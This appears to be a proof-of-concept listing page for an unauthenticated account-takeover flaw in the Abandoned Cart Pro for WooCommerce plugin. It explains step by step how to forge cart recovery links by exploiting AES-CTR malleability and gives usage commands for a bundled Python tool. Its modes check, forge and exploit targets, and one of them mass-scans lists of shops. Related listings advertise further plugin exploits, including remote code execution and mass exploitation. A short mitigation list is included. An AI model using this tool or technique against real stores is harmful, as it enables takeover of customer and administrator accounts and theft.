CVE-2026-97657 — Abandoned Cart Pro for WooCommerce Auth Bypass & Account Takeover
October 14, 2026 · 54 views
Tyche Abandoned Cart Pro ≤10.8.0: recovery checkout_link uses AES-CTR without mandatory HMAC when wcap_nonce omitted; CTR malleability swaps abandoned cart ID → wp_set_auth_cookie victim (CWE-639). CVSS 3.1 9.8 Critical. Python PoC: check, forge, exploit. Marker POCBIT-97657-OK.
Description
Overview
CVE-2026-97657 — Abandoned Cart Pro for WooCommerce (Tyche Softwares) — unauthenticated authentication bypass and account takeover via forged cart recovery links (CWE-639). CNA: Wordfence.
| | | |---|---| | Affected | ≤ 10.8.0 (upgrade above 10.8.0 when vendor fix is available) | | CVSS 3.1 | 9.8 Critical | | Verify marker | POCBIT-97657-OK (PoC session/admin verification) |
Recovery URLs use MAC-free AES-CTR tokens (Wcal_Aes_Ctr-compatible: 8-byte nonce + ciphertext, base64). The plugin loads encrypt_key from attacker-controlled user_email. HMAC / wcap_nonce runs only when wcap_nonce is non-empty—omitting it skips integrity checks. After decrypt, abandoned_id is used without proving it belongs to that email; wp_set_auth_cookie() runs when auto-login is enabled (default).
An attacker with one legitimate recovery URL can XOR-malleate CTR ciphertext to change the embedded cart ID to a victim’s abandoned cart row (equal string length), open the forged URL without wcap_nonce, and log in as the victim (including administrators who abandoned a cart).
PoC page: https://pocbit.org/pocs/cve-2026-97657
GitHub: murrez/CVE-2026-97657
CVE.org: CVE-2026-97657
Typical URL shape (Pro)
GET /?wacp_action=checkout_link&[email protected]&validate=<token>
Use checkout_link tokens (plaintext {cart_id}&url=...); track_links encodes email_sent_id, not cart ID.
Bundled tool (Python 3)
Download cve-2026-97657.py — writes poc.py, requirements.txt, targets.example.txt.
python cve-2026-97657.py
pip install -r requirements.txt
python poc.py -t https://shop.example.com --mode check
python poc.py --list targets.example.txt --mode check -j 16 --vuln-list hits.txt
python poc.py --mode forge \
--recovery-link "https://shop.example.com/?wacp_action=checkout_link&[email protected]&validate=..." \
--source-cart-id "0383" --target-cart-id "0001"
python poc.py --mode exploit \
--recovery-link "..." --source-cart-id "0383" --target-cart-id "0001"
Prerequisites (authorized testing): one legitimate recovery link from your test cart email; victim registered user with abandoned cart row; equal-length source/target cart IDs (zero-pad).
Check probes /wp-content/plugins/woocommerce-abandon-cart-pro/readme.txt (and alternate slug).
Mitigation
- Upgrade Abandoned Cart Pro beyond 10.8.0 when available.
- Disable auto-login on recovery links until patched.
- WAF rate-limit
wacp_action=checkout_link+validate(defense in depth).
Legal and ethical use
Authorized testing only. Unauthorized access is illegal.
References
Related PoCs
Same platform, vendor, or tags — explore more write-ups on Pocbit.
- WordPressCVE-2026-18143critical
CVE-2026-18143 — Addify Request a Quote for WooCommerce Unauthenticated File Upload
Unauthenticated arbitrary file upload (CWE-434, CVSS 9.8 Critical) in Request a Quote for WooCommerce ≤ 2.9.2 via public AJAX afrfq_submit_quote_via_popup — unsafe move_uploaded_file() with attacker-controlled .php names into web-accessible RFQ temp storage. Requires popup quote rule on the storefront.
- WordPressCVE-2026-89055critical
CVE-2026-89055 — CusRev WooCommerce Missing Authorization (Arbitrary Media Deletion)
Customer Reviews for WooCommerce (CusRev) ≤ 5.120.0: public review form AJAX accepts arbitrary Media Library attachment IDs; linked files are deleted when the review is purged. CVSS 3.1 9.1 Critical (CWE-862). Requires a /cusrev/{formId}/ link.
- WordPressCVE-2026-96349critical
CVE-2026-96349 — WordPress SiteSkite ≤2.1.8 API-Key Autologin + MCP eval() RCE Chain
SiteSkite WordPress plugin ≤2.1.8: long-lived API key acts as unauthenticated admin bearer via ?token= autologin; REST/admin-ajax MCP abilities run siteskite_execute_php (eval) and file write. CVSS 10.0 Critical (CWE-94). Fixed in 2.2.0. Python PoC: check (readme ≤2.1.8), exploit with API key, mass hits/exploited, --lab. Marker POCBIT-96349-OK.
- WordPressCVE-2026-92966critical
CVE-2026-92966 — WordPress LatePoint ≤5.7.0 Stored Shortcode Execution (Customer Cabinet)
LatePoint appointment booking ≤5.7.0: unauthenticated guest booking stores [shortcode] in customer first/last name (sanitize_text_field keeps brackets); Customer Cabinet block renders welcome line then the_content do_shortcode runs twice → arbitrary shortcode execution. CVSS 9.1 Critical (CWE-94). Fixed in 5.7.1. No API key. Python PoC: check, mass exploit, --lab, optional POCBIT_EXEC_SHORTCODE. Marker POCBIT-92966-OK.